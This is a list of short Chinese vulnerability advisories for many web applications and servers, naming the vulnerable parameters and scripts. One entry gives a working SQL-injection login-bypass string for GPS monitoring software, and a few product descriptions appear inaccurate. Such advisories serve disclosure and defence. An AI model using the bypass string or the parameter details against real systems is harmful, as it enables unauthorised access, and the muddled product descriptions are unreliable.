Enano CMS是一个网站的内容管理系统。Enano CMS存在跨站脚本漏洞。由于通过"subject"参数传递到index.php的输入（当"title"设置为"Special:PrivateMessages/Compose/Send"，"savedraft"设置为"Save as draft"）在返回至用户之前没有正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Enano CMS是一个网站的内容管理系统。Enano CMS存在跨站脚本漏洞。由于通过"pagename"参数传递到index.php的输入（当"title"设置为"CreatePage"，"do"设置为"Create Page"和"namespace"时）在返回至用户之前没有正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Enano CMS是一个网站的内容管理系统。Enano CMS存在跨站脚本漏洞。由于附加至index.php/Special:Login/Main_Page后的URL的输入在返回至用户前缺少过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
MapServer是一款开源的网络地图软件。MapServer存在SQL注入漏洞，可能会允许攻击者危及应用程序，访问或修改数据，利用基础数据库中的潜在漏洞。
Enano CMS是一个网站的内容管理系统。Enano CMS存在跨站脚本漏洞。由于附加到index.php/Special:DownloadFile后的URL的输入（当"download"被设置）在返回至用户之前没有正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Enano CMS是一个网站的内容管理系统。Enano CMS存在跨站脚本漏洞。由于附加到index.php后的URL的输入（ 当"sub"设置为"cookie_destroy"，"do"设置为"diag"）在返回至用户之前没有正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Enano CMS是一个网站的内容管理系统。Enano CMS中存在跨站点请求伪造漏洞。由于应用程序允许用户不执行任何有效性检查而通过HTTP请求，执行某些操作，攻击者可以利用漏洞在已登录用户访问恶意网站时发送和删除用户讯息。
Social Networking Service是Web 2.0体系下的一个技术应用架构。Social Networking CMS存在安全漏洞，通过"photo_id"参数传递给user_profile.php的输入（当"view"设置为"photo"时）在用于SQL查询之前没有正确地过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
Enano CMS是一个网站的内容管理系统。Enano CMS中存在脚本注入漏洞。当发送私人信息时通过"subject"参数传递到index.php的输入没有正确过滤，攻击者可以利用漏洞注入任意HTML和脚本代码，当恶意信息被查看时会在受影响的站点上下文的用户的浏览器会话中执行代码。
WP e-Commerce是WordPress的一款插件。WordPress WP e-Commerce插件存在漏洞，由于在SQL查询中未能充分过滤用户提供的数据，可能会允许攻击者危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。SAP NetWeaver存在安全漏洞，当处理SOAP-RFC请求的标签时XML解析器存在整数溢出错误，攻击者可以利用漏洞使disp+work.exe服务终止，造成拒绝服务攻击。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。SAP NetWeaver存在安全漏洞，传递给Ispeak Details Monitoring应用程序(com.sap.aii.af.ispeak.app)中CIDXBTDDump.jsp, BTDDump.jsp和RNIF11BTDDump.jsp脚本"txtBtdID"参数的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。SAP NetWeaver存在安全漏洞，Business Communication Broker没有正确限制某些函数的使用，攻击者可利用漏洞获得敏感信息，如J2EE补丁级别和内部IP地址。
Oracle Server是一个对象一关系数据库管理系统。它提供开放的、全面的、和集成的信息管理方法。每个Server由一个 Oracle DB和一个 Oracle Server实例组成。它具有场地自治性（Site Autonomy）和提供数据存储透明机制，以此可实现数据存储透明性。Oracle Database Server在实现上存在远程Instance Management漏洞，远程攻击者可通过HTTP协议利用此漏洞，造成非法更新、插入或删除Instance Management中的可访问数据。
Oracle Server是一个对象一关系数据库管理系统。它提供开放的、全面的、和集成的信息管理方法。每个Server由一个 Oracle DB和一个 Oracle Server实例组成。它具有场地自治性（Site Autonomy）和提供数据存储透明机制，以此可实现数据存储透明性。Oracle Database Server在实现上存在远程Core RDBMS漏洞，在具有Create session权限的情况下，远程攻击者可通过Oracle NET协议利用此漏洞，造成非法控制Core RDBMS和在Core RDBMS中执行任意代码。
Oracle Server是一个对象一关系数据库管理系统。它提供开放的、全面的、和集成的信息管理方法。每个Server由一个 Oracle DB和一个 Oracle Server实例组成。它具有场地自治性（Site Autonomy）和提供数据存储透明机制，以此可实现数据存储透明性。Oracle Database Server在实现上存在远程Core RDBMS漏洞，在具有Create session权限的情况下，远程攻击者可通过Oracle NET协议利用此漏洞，造成非法Core RDBMS控制和任意代码执行。
Oracle Server是一个对象一关系数据库管理系统。它提供开放的、全面的、和集成的信息管理方法。每个Server由一个 Oracle DB和一个 Oracle Server实例组成。它具有场地自治性（Site Autonomy）和提供数据存储透明机制，以此可实现数据存储透明性。Oracle Database Server在实现上存在远程Security Management漏洞，远程攻击者可通过HTTP协议利用此漏洞，影响Audit Administration子组件，造成非法更新、插入或删除Security Management中的可访问数据，读取Security Management子集的数据以及部分DOS。
Oracle Server是一个对象一关系数据库管理系统。它提供开放的、全面的、和集成的信息管理方法。每个Server由一个 Oracle DB和一个 Oracle Server实例组成。它具有场地自治性（Site Autonomy）和提供数据存储透明机制，以此可实现数据存储透明性。Oracle Database Server在实现上存在远程安全漏洞，远程攻击者可通过HTTP协议利用此漏洞，影响Scheduler子组件，造成非法更新、插入或删除Content Management 中的可访问数据，读取Content Management子集中的数据以及Content Management的部分DOS。
Oracle Server是一个对象一关系数据库管理系统。它提供开放的、全面的、和集成的信息管理方法。每个Server由一个 Oracle DB和一个 Oracle Server实例组成。它具有场地自治性（Site Autonomy）和提供数据存储透明机制，以此可实现数据存储透明性。Oracle Database Server在实现上存在远程Core RDBMS漏洞，在具有Create session权限的情况下，远程攻击者可通过Oracle NET协议利用此漏洞，造成非法控制Create session和在Create session中执行任意代码。
AvReloaded是Joomla!的一款组件。Joomla！是开放源码的内容管理系统（CMS）。Joomla! AvReloaded组件存在SQL注入漏洞，攻击者可以利用漏洞注入任意SQL代码执行SQL查询。
TCExam是一款基于网络的开源在线考试系统。TCExam存在多个SQL注入漏洞。由于应用程序在用于SQL查询之前不正确过滤用户提供的输入，攻击者可以利用漏洞访问或修改数据。
IBS是为互联网服务供应商提供的支持预付费电话/拨号/局域网服务的账户服务。IBS存在跨站脚本漏洞，由于通过"user_id"参数传递到admin/user/search_user.php的输入在返回给用户之前未能正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
百度影音是国内一款不错的媒体播放软件。百度影音存在一个未明安全漏洞，允许攻击者以应用程序上下文执行任意代码。
Freefloat FTP Server是一款FTP服务程序。Freefloat FTP Server 1.00处理MKD命令存在缓冲区溢出漏洞，远程攻击者可利用此漏洞使应用程序崩溃或可能以应用程序上下文执行任意代码。
宁志学校网站管理系统是一套采用ASP语言+ACCESS数据库开发，专为地方学校建站首选的信息网站管理系统。宁志学校网站管理系统存在SQL注入漏洞。由于该系统对后台文件未进行访问验证，可能导致敏感信息泄露。
TCExam是一款基于网络的开源在线考试系统。TCExam存在跨站脚本漏洞，攻击者可以利用漏洞来执行任意HTML和脚本代码。
TinyBrowser是一款iPhone浏览器。TinyBrowser存在远程文件上传漏洞，攻击者可以利用这个漏洞上传任意代码，并在Web服务器进程中运行。此漏洞会导致未经授权的访问或特权提升。
MYRE Real Estate Software是一款房地产软件。MYRE Real Estate Software主页的URL存在SQL注入漏洞，攻击者可以利用漏洞注入任意SQL代码来操纵SQL查询。
？rümcek Oyun是一款免费的Flash游戏脚本。？rümcek Oyun存在SQL注入漏洞，通过"id"参数传递？？到raporet.php的输入在用于SQL查询之前没有正确过滤。攻击者可以利用漏洞注入任意SQL代码操纵SQL查询。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark 1.4.0版本在实现上存在畸形IKE报文拒绝服务漏洞，攻击者可利用此漏洞强制终止受影响的应用程序。
Freefloat FTP Server是免费的用于上传文件和管理有线及无线设备的软件。Freefloat FTP Server 1.00在MKD命令的处理上存在缓冲区溢出漏洞，远程攻击者可利用此漏洞控制受影响系统。
SI2000 TDM系统是可连接到模拟、数字和ISDN数字公用或专属网络以提供电信服务。Iskratel SI2000 Callisto 821+在实现上存在跨站请求伪造和HTML注入漏洞，远程攻击者可利用跨站脚本执行和HTML注入漏洞在受影响浏览器中执行任意脚本代码，可能使攻击者窃取Cookie验证凭证或控制网站外观。
Sobi2是Joomla!的一款组件。Joomla！是开放源码的内容管理系统（CMS）。Joomla! Sobi2组件存在SQL注入漏洞，由于某些未明输入在用于SQL查询前缺少过滤，攻击者可以利用漏洞注入任意SQL代码执行SQL查询。
Ferdows CMS是一款基于ASP.NET语言并使用Ajax和MSSQL的内容管理系统。Ferdows CMS存在SQL注入漏洞，由于通过"sid"参数传递至archive.aspx的输入，和通过"siteid"参数传递至about.aspx, archive.aspx和 default1.aspx的输入在用于SQL查询之前缺少过滤。攻击者可以利用漏洞通过注入任意SQL代码执行SQL查询。
Inscribe Webmedia可用于web开发和网站咨询。Inscribe Webmedia存在SQL注入漏洞，目前没有详细漏洞细节提供。
Alice Modem是一个调制解调器。Alice Modem中存在跨站脚本漏洞。漏洞产生是由于设备不能正确处理用户提供的输入，远程攻击者可借助rulename参数在受影响站点的用户浏览器上下文中执行任意脚本代码，并窃取基于cookie的认证证书。
Sphider是基于PHP的开源搜索引擎爬虫程序。 Sphider的管理面板存在多个SQL注入漏洞。由于应用程序在用于SQL查询之前对用户提供的数据缺少过滤，远程攻击者可利用该漏洞访问或者修改数据。
FlowPlayer是一个用Flash开发的Web视频播放器。FlowPlayer存在跨站脚本漏洞。由于应用程序在被用于动态生成目录之前对用户提供的输入缺少过滤，远程攻击者可借助linkUrl参数在受影响站点上下文的用户浏览器中执行任意脚本代码并窃取基于cookie的认证证书。
FCKeditor是一款开放源码的HTML文本编辑器。FCKeditor存在文件上传漏洞。由于应用程序未能正确限制对启用FCKeditor组件的访问，攻击者可以利用该漏洞绕过某些安全限制，例如上传某些类型文件。
ZipGenius是一款文件压缩管理工具，不仅提供文件压缩管理的所有相关应用，还能进行图片扫描、收发电子邮件、网站浏览、FTP管理、数据保护、备份等。ZipGenius .zip文件存在缓冲区溢出漏洞，由于在处理.zip文件时存在缺陷，远程攻击者可创建恶意的.zip文件以利用此漏洞，导致执行任意代码。
Ferdows CMS是一款基于ASP.NET语言并使用Ajax和MSSQL的内容管理系统。Ferdows CMS存在跨站脚本漏洞，由于通过"dataid"参数传递至showdata.aspx的输入在返回用户之前缺少过滤。攻击者可以利用漏洞在受影响站点的上下文用户浏览器会话中执行任意HTML和脚本代码。
Dell OpenManage IT Assistant用于查找和提供各种DELL系统的摘要状态。Dell OpenManage IT Assistant 'detectIESettingsForITA.OCX'控件不安全使用"readRegVal()"方法，允许攻击者查询目标用户系统上的注册表键值，可获得敏感注册表值信息。
Hitachi JP1/Performance Management存在安全漏洞，允许攻击者进行跨站脚本攻击。部分传递给WEB控制台的输入在返回用户之前缺少过滤，允许攻击者构建恶意链接，诱使用户解析，在目标用户浏览器上执行任意脚本代码，可获得敏感信息或劫持用户会话。
Citrix Access Gateway Plug-in是Windows XP (32位), Windows Vista、Windows 7(32位和64位)及Apple Mac (OSX 10.5)的客户端软件，通过访问网关确保安全连接。Citrix Access Gateway Plug-in在ActiveX控件的实现上存在多个未明细节漏洞，远程攻击者可利用这些漏洞在使用ActiveX控件的应用程序中执行任意代码。
EtoShop是一个电子商务平台。EtoShop多个产品中存在登录参数SQL注入漏洞。由于应用程序在用于SQL查询之前对用户提供的输入缺少过滤，攻击者可以利用底层数据库中潜在的漏洞危及应用程序，访问或修改数据。
Citrix Access Gateway是一款通用的SSL VPN设备。基于Windows平台的Citrix Access Gateway插件存在未明漏洞，远程攻击者可以利用漏洞执行任意代码。
PG Newsletter是一款通信软件。PG Newsletter存在一个跨站点请求伪造漏洞。应用程序的web接口允许用户通过未执行任何验证的HTTP请求执行某些操作。攻击者可以利用漏洞通过欺骗管理员登陆访问恶意网站来创建通讯，编辑现有通讯，并执行脚本注入攻击。
Fabrik是Joomla!的一款组件。Joomla! Fabrik组件存在SQL注入漏洞。由于一些未指明输入在用于SQL查询之前缺少过滤，恶意攻击者可以利用漏洞来注入任意SQL代码执行SQL查询。
Skype是一款流行的P2P VoIP软件，可提供高质量的语音通讯服务。Skype存在存储型跨站脚本漏洞，该漏洞源于"mobile phone"配置文件条目缺少输入验证和输出过滤，攻击者可以利用漏洞劫持远程用户会话ID，并增加攻击向量至受害者的相关软件和操作系统。
Pandora FMS 是一个开源的应用程序，用来监测网站的各种活动。 应用程序的web接口通过HTTP请求允许用户不执行任何有效性检查。攻击者可以利用漏洞更改管理员的密码，通过欺骗管理员登陆恶意网站，更改管理员密码。
EmteEasySite是卓讯科技公司生产的智能化网站管理系统。EmteEasySite存在多个安全漏洞，包括：编辑器上传漏洞和SQL注入漏洞。
上海玥达GPS和景泰GPS监控跟踪程序存在后台绕过漏洞，可用传统万能密码登陆。例如' OR '1'='1
Paltalk是一款使用文字，声音和图像聊天的网络聊天服务软件。Paltalk存在安全漏洞，由于Paltalk Office Viewer ActiveX 控件（Oa.ocx）包含不安全"Save()"方法，允许攻击者利用漏洞在已登陆用户的上下文中，利用垃圾数据覆盖任意文件。
Paltalk是一款使用文字，声音和图像聊天的网络聊天服务软件。Paltalk存在安全漏洞，由于Paltalk Office Viewer ActiveX 控件（Oa.ocx）包含不安全"HttpDownloadFile()"方法，允许攻击者利用漏洞在已登陆用户的上下文中，通过远程HTTP服务器中的文件覆盖任意文件。
Tradingeye是一款内容管理系统。Tradingeye存在SQL注入漏洞，由于通过"username"和"password"参数传递到adminindex.php（当"action"设置为"loginCheck"）的输入在用于SQL查询之前缺少过滤，允许攻击者通过注入任意SQL代码执行SQL查询。
Tradingeye是一款内容管理系统。通过"search"参数传递到user/adminindex.php (当 "action" 设置为"user.home") 的输入返回给用户之前没有正确地过滤。攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Trend Micro Control Manager（TMCM）是趋势科技提供的集中安全管理控制台，可以对趋势科技产品与服务进行统一协调。通过"module"参数传递给WebApp/widget/proxy_request.php脚本的输入在用于读取文件之前缺少校验，攻击者通过目录遍历序列可读取本地资源中的任意文件。
Brocade BigIron RX系列交换机是第一个每秒可处理22亿数据包的产品。Brocade BigIron RX交换机设备没有正确限制源端口为179的报文。179端口一般用于BGP通信。根据报告使用源端口的179的独立报文，如SSH和RDP会话，Brocade BigIron RX交换机都没有正确限制，可绕过安全ACL限制访问受限设备。
SLAED CMS是一款基于PHP的WEB应用程序。SLAED CMS存在远程文件上传漏洞。由于应用程序未能正确检查多个文件的扩展名，允许攻击者利用漏洞上传包含恶意PHP代码的任意文件。
libpng是一款多种应用程序所使用的解析PNG图形格式的函数库。当libpng处理空的sCAL块时会读取未初始化内存，攻击者构建特制的PNG文件，诱使应用程序解析，可导致应用程序崩溃。
Fire Soft Board（简称FSB）是一款开源的论坛。Fire Soft Board论坛存在存储型跨站脚本漏洞。由于来自站点客户端（甚至是访客）的$_SERVER['HTTP_USER_AGENT']变量缺少过滤，攻击者可以利用漏洞劫持会话。
Trend Micro Control Manager（TMCM）是趋势科技提供的集中安全管理控制台，可以对趋势科技产品与服务进行统一协调。Trend Micro Control Manager En_Utility.dll存在缺陷，此模块从CASProcessor.exe上调用运行在TCP 20801端口上。提交包含畸形BLOB加密数据的特制报文，由HandleMcpRequest()处理时，包含的结构允许触发整数溢出，成功利用漏洞可以以SYSTEM用户上下文执行任意代码。
Open Handset Alliance Android是一款超过30家科技与移动电话公司所组成的团体开发的免费的移动电话平台。Android SDK 2.3之前版本中的dexdump没有正确执行结构验证。远程攻击者可构建特制的APK或dex文件，诱使应用程序解析，触发拒绝服务（dexdump崩溃）。问题主要是方法中参数数量与这些方法声明的寄存器数量不一致造成的。
WordPress是一款blog系统。WordPress存在多个SQL注入漏洞，由于应用程序在用于SQL查询之前对用户提供的数据缺少过滤，攻击者可以利用漏洞访问或修改数据。
Linux是一款开放源代码的操作系统。远程用户在l2cap配置请求命令头中提供过小的命令size字段，当减去配置请求头的大小时可触发一个整数下溢。通过memcpy()拷贝大量数据时可破坏内核堆，使系统崩溃或可能执行任意代码。
MaxDB是SAP公司的一种兼容ANSI SQL-92的关系数据库管理系统。MaxDB存在安全漏洞，该漏洞是由于在处理某些登录握手报文时，SAP DBTech-MAXDB（kernel.exe）产生空指针错误。攻击者可以通过将特制的数据包发送到例如TCP端口7200或7210，使服务崩溃。
libsndfile是用于通过标准接口读写AIFF、AU和WAV之类声音文件的C库。libsndfile在处理Paris Audio (PAF)文件时'paf24_init（）'函数（SRC/ paf.c）存在整数溢出错误，通过特制文件可以触发基于堆的缓冲区溢出，允许攻击者利用漏洞执行任意代码。
DMXReady注册管理器可用于访问者自动在线注册网站和业务。DMXReady注册管理器存在SQL注入漏洞。由于通过'MemberID'参数传递？？到update.asp的输入在用于SQL查询之前缺少过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
DMXReady目录管理器可用于创建和维护在线的产品和服务目录。DMXReady目录管理器存在SQL注入漏洞。由于通过'ITEMID'参数传递？？到inc_catalogmanager.asp的输入在SQL查询之前缺少过滤，恶意攻击者可以通过注入任意SQL代码来操纵SQL查询。
Open-Realty是一款商用的基于Web的房地产上市管理应用程序。Open-Realty存在SQL注入漏洞。由于通过"type"GET参数传递至/admin/index.php脚本的输入在返回至用户之前缺少过滤，攻击者可以通过注入任意SQL代码执行SQL查询。
Open-Realty是一款商用的基于Web的房地产上市管理应用程序。Open-Realty存在跨站脚本漏洞。由于通过"query"POST参数传递至/admin/index.php脚本的输入在返回至用户之前缺少过滤，攻击者可以利用漏洞在受影响的网站上下文的用户浏览器会话中执行任意HTML和脚本代码。
Open-Realty是一款商用的基于Web的房地产上市管理应用程序。Open-Realty存在跨站脚本漏洞。由于通过"type"GET参数传递至/admin/index.php脚本的输入在返回至用户之前缺少过滤，攻击者可以利用漏洞在受影响的网站上下文的用户浏览器会话中执行任意HTML和脚本代码。
Open-Realty是一款商用的基于Web的房地产上市管理应用程序。Open-Realty存在跨站脚本漏洞。由于通过"path"GET参数传递至/include/class/ckeditor/custom/filemanager/connectors/php/filemanager.php 脚本的输入在返回至用户之前缺少过滤，攻击者可以利用漏洞在受影响的网站上下文的用户浏览器会话中执行任意HTML和脚本代码。
Open-Realty是一款商用的基于Web的房地产上市管理应用程序。Open-Realty存在跨站脚本漏洞。由于通过"listing_id"GET参数和"comments","source"POST参数传递至index.php脚本的输入在返回至用户之前缺少过滤，攻击者可以利用漏洞在受影响的网站上下文的用户浏览器会话中执行任意HTML和脚本代码。
Open-Realty是一款商用的基于Web的房地产上市管理应用程序。Open-Realty存在跨站脚本漏洞。由于通过"searchtext"GET参数传递至index.php脚本的输入在返回至用户之前缺少过滤，攻击者可以利用漏洞在受影响的网站上下文的用户浏览器会话中执行任意HTML和脚本代码。
Open-Realty是一款商用的基于Web的房地产上市管理应用程序。Open-Realty存在跨站脚本漏洞。由于通过 "name", "email", "friend_email", "subject"和 "message"这些POST参数传递至index.php脚本的输入在返回用户之前缺少过滤，攻击者可以利用漏洞在受影响的网站上下文的用户浏览器会话中执行任意HTML和脚本代码。
Proteus是一款EDA工具软件。Prontus CMS存在安全漏洞，攻击者可以利用这个漏洞在浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
ICMusic是一个音乐目录站点脚本。ICMusic存在SQL注入漏洞，由于应用程序在用于SQL查询之前对用户提供的输入缺少过滤，允许攻击者访问或修改数据。
Sun Java Runtime Environment是一款为JAVA应用程序提供可靠的运行环境的解决方案。当发生内存不足的情况下应用程序不安全装载可执行文件，诱使用户打开HTML页面，装载在远程WebDAV或SMB共享上的applet，可导致以应用程序上下文执行任意代码。
Trend Micro Control Manager（TMCM）是一个集中安全管理控制台，可以对趋势科技产品与服务进行统一协调。默认监听在TCP 443端口的Cas_LogDirectInsert.aspx http处理器存在缺陷。特制的POST请求允许远程攻击者提供XML和schema信息，可用于后端数据库的查询。提供特制恶意值，攻击者可以注入用户账户，通过服务上的管理控制台执行任意代码。
Freefloat FTP Server是一款FTP服务程序。Freefloat FTP Server处理'LIST'命令缺少充分的边界条件检查，攻击者可以利用漏洞进行缓冲区溢出攻击，可能以应用程序上下文执行任意代码。
phpDealerLocator是一款邮政编码定位软件。phpDealerLocator存在多个SQL注入漏洞，由于应用程序未能正确过滤用户提供的输入，攻击者可以利用漏洞访问或修改数据。
Tugux CMS是一个免费开源的内容管理系统。Tugux CMS存在安全漏洞，由于传递给'administrator/delete_page_parse.php'脚本中'pid'参数的输入在用于删除文件之前缺少过滤，攻击者可以利用漏洞通过目录遍历'pid'参数内传递的序列，以WEB服务器权限删除文件。
WebCalendar是一款基于WEB的日历系统。WebCalendar 1.2.3版本存在跨站脚本漏洞，由于应用程序未能充分过滤用户提供的输入，远程攻击者可以利用漏洞在受影响站点上下文的用户浏览器中执行任意脚本代码，并窃取基于cookie的认证证书。
BbZL.PhP是一个部署和管理兼容php4/css2 website/portal的软件。BbZL.PhP存在文件包含漏洞，由于index.php脚本没有合理地过滤传递给type参数的输入，导致包含任意文件。远程攻击者可利用此漏洞包含任意文件，发起进一步的攻击。
Xataface是一个采用PHP开发的，建立在MySQL数据库基础上灵活的网站应用框架生成器。Xataface存在本地文件包含漏洞。由于未能正确过滤用户提供的输入，攻击者可以利用此漏洞获取潜在的敏感信息或以web服务器上下文执行任意本地代码。
Portix-CMS是一个基于PHP的门户，不使用数据库。Portix-CMS 1.5.0.rc5版本存在本地文件包含漏洞。目前没有详细漏洞细节提供。
Drupal是一款开放源码的内容管理平台。Facebook Share是Drupal的一个模块。Drupal Facebook Share模块存在脚本注入漏洞，攻击者可以利用漏洞注入任意HTML和脚本代码。
Effective File Search可以让用户快速的完成文件查找分类的工作。Effective File Search存在不安全库加载漏洞。成功利用漏洞可诱使用户加载任意库。
Drupal是一款开放源码的内容管理平台。OG Menu是Drupal的一个模块。Drupal OG Menu模块存在HTML注入漏洞。成功利用漏洞可以在受影响的浏览器中执行攻击者提供的HTML和脚本代码，并允许攻击者窃取基于Cookie的身份验证凭据或控制网站如何呈现给用户。
ZipItFree是一款Zip文件压缩解压工具。ZipItFree存在基于堆的缓冲区溢出漏洞。由于应用程序未能对用户提供的数据进行充分的边界检查，攻击者可以利用漏洞以应用程序上下文执行任意代码。
ZipWiz 2005可以为新手用户提供使用ZIP文件时拥有充分提示的解决方案。ZipWiz 2005存在缓冲区溢出漏洞。由于应用程序未能对用户提供的数据进行充分的边界检查，攻击者可以利用漏洞已应用程序上下文执行任意代码。
com_voj是Joomla!的一款组件。Joomla! 'com_voj'组件存在SQL注入漏洞。攻击者可以利用漏洞访问或修改数据。
Hitachi HiRDB是一款日立公司开发的数据库系统。Hitachi HiRDB存在安全漏洞，远程攻击者可以利用该漏洞执行任意代码。
appRain是一个内容管理系统。appRain Core Edition存在安全漏洞。输入通过'data[sconfig][site_title]'参数产生错误，攻击者利用漏洞在用户的浏览器会话中执行任意HTML和脚本代码。
appRain是一个内容管理系统。appRain Quick Start Edition存在安全漏洞。攻击者可以利用漏洞执行任意HTML和脚本代码或窃取基于Cookie的身份验证凭据。
Global Flash Galleries是Joomla!的一款组件。Joomla! Global Flash Galleries组件存在一个跨站点请求伪造漏洞，允许用户执行某些操作时无任何有效性检查，以验证通过HTTP请求，添加或删除组件。
Global Flash Galleries是Joomla!的一款组件。Joomla!Global Flash Galleries组件存在跨站脚本漏洞。攻击者可以利用漏洞在用户的浏览器会话中执行任意HTML和脚本代码。
LuxCal是一款基于Web的事件日历。LuxCal存在一个SQL注入漏洞，远程攻击者可以利用漏洞访问或修改数据。
D-Link DSL-2650U是一款路由设备。D-Link DSL-2650U不正确处理用户提交的HTTP请求，远程攻击者可以利用漏洞对设备进行拒绝服务攻击。
Aruba OS是所有Aruba移动控制器与接入装置的操作系统和应用引擎。ArubaOS Captive Portal Web接口存在HTTP应答分片漏洞，允许攻击者迫使验证后的captive portal用户绕过定制欢迎页POST验证，重定向攻击者指向的站点。
Drupal是一款开放源码的内容管理平台。Simple Clean是Drupal的一个主题。Simple Clean存在HTML注入漏洞，成功利用漏洞可以在受影响的浏览器上下文运行攻击者提供的HTML和脚本代码，允许攻击者窃取基于Cookie的身份验证凭据或控制网站如何呈现给用户。
Aruba OS是所有Aruba移动控制器与接入装置的操作系统和应用引擎。Aruba OS存在一个持久型跨站脚本漏洞，当管理员登录WebUI并浏览报告部分时可触发此漏洞。此漏洞需要管理员成功使用合法验证信息登录设备。
HP webOS是一款基于平板电脑的操作系统。HP webOS联系人应用程序存在缺陷，当处理导入联系人的姓和名时，会执行注入的恶意HTML/JavaScript代码，允许攻击者对设备进行跨站脚本攻击。
Drupal是一款开放源码的内容管理平台。Simple Clean是Drupal的一个主题。Simple Clean存在跨站脚本漏洞，用户发布评论时可触发此漏洞。攻击者要利用漏洞需要拥有“发布评论”的权限。
iOS是运行在苹果iPhone/iPad/iPod touch设备上的操作系统。Apple iOS操作系统存在特权提升漏洞。由于Mobile Safari处理特制PDF文件方式上存在未明错误，攻击者可以利用漏洞提升特权。
com_jr_tfb是Joomla!的一款组件。Joomla! com_jr_tf组件存在本地文件包含漏洞。由于应用程序未能正确过滤用户提供的输入，攻击者可以利用漏洞获取潜在的敏感信息并执行Web服务器进程上下文中的任意本地脚本。
Pro Softnet IDrive Online Backup是一款在线备份工具。IDrive Online Backup ActiveX控件存在安全漏洞，允许攻击者利用漏洞覆盖目标系统任意文件。UniBasicPack.UniTextBox (UniBasic100_EDA1811C.ocx) ActiveX控件使用不安全的"SaveToFile()"方法，允许构建恶意WEB页，诱使用户解析，以目标用户上下文覆盖系统文件。
Chilkat Crypt ActiveX chilkat Soft出品的一款加密/解密ActiveX控件，能够加/解密字符串和二进制数据。ChilkatCrypt2.ChilkatOmaDrm.1 (ChilkatCrypt2.dll) ActiveX控件包含不安全"SaveDecrypted()"方法，构建恶意WEB页，诱使用户解析，可以应用程序上下文执行任意代码。
Ipswitch WhatsUp Gold是一款监视TCP/IP,NetBEUI和IPX网络状态使用方便的工具。Ipswitch WhatsUp Gold在发现过程中处理SNMP应答存在一个未明错误，提交特制的SNMP应答可使发现服务崩溃。
Ubuntu foo2zjs是一款使用Zenographics ZjStream wire协议的打印机的驱动程序。/usr/bin/getweb存在一个临时文件创建问题，脚本会在/tmp目录中创建foo2zjs目录用于下载gzip并解压。但是在创建过程中脚本没有检查目录是否存在，本地攻击者可以通过符号链接攻击，覆盖系统中的任意文件。
Newsletter Subscriber是一款免费的Joomla插件和模块。Joomla Newsletter Subscriber存在多个跨站脚本漏洞。由于应用程序未能正确过滤用户提供的输入，远程攻击者可以利用漏洞在受影响站点上下文的浏览器中执行任意代码，并窃取基于cookie的认证证书。
DotNetNuke是一款开源的内容管理系统。DotNetNuke授权某个页面或者某块编辑权限时存在错误，可导致用户被授予所有权限。
DotNetNuke是一款开源的内容管理系统。当校验上传文件时应用程序存在错误，允许攻击者利用漏洞执行某些任意代码。
F5 BIG-IP是强大功能的应用交换机。部分传递给ASM中的WEB Scraping功能的输入在返回用户之前缺少过滤，攻击者可以利用漏洞进行跨站脚本攻击，可获得敏感信息或劫持用户会话。要成功利用漏洞需要在ASM安全策略中设置Web Scraping功能为"Block"。
DotNetNuke是一款开源的内容管理系统。当在某些管理功能中校验用户权限时存在错误，允许攻击者利用漏洞获得对某些管理功能的访问。
Ollance Member Login是一款基于PHP的会员管理系统。Ollance Member Login Script管理页面存在多个SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可以利用漏洞访问或修改数据。
ESTsoft ALPlayer是一款媒体播放程序。ESTsoft ALPlayer处理'.asx'文件存在缓冲区溢出，攻击者构建恶意文件，诱使用户解析，可以应用程序上下文执行任意代码。
DotNetNuke是一款开源的内容管理系统。DotNetNuke的soft-deleting用户功能存在错误，允许攻击者以相同用户名和密码进行重注册恢复用户。
WeBid是一款可方便使用和定制的开放源代码拍卖脚本。通过"From"和"to" PSOST参数传递给converter.php的输入存储在includes/currencies.php之前缺少过滤，可导致注入和执行任意PHP代码。
WeBid是一款可方便使用和定制的开放源代码拍卖脚本。通过"lan"参数和"USERLANGUAGE" cookie传递给index.php脚本的输入在用于包含文件之前在includes/messages.inc.php中缺少过滤，使用目录遍历攻击这URL编码空字节可从本地资源包含任意文件。
WeBid是一款可方便使用和定制的开放源代码拍卖脚本。通过"WEBID_ONLINE" cookie传递给user_login.php的输入在用于SQL查询之前缺少过滤，可导致SQL注入攻击。
WeBid是一款可方便使用和定制的开放源代码拍卖脚本。通过"WEBID_RM_ID" cookie传递给logout.php的输入在用于SQL查询之前缺少过滤，可导致SQL注入攻击。
WeBid是一款可方便使用和定制的开放源代码拍卖脚本。通过"auction_id"参数传递给feedback.php的输入在用于SQL查询之前缺少过滤，可导致SQL注入攻击。
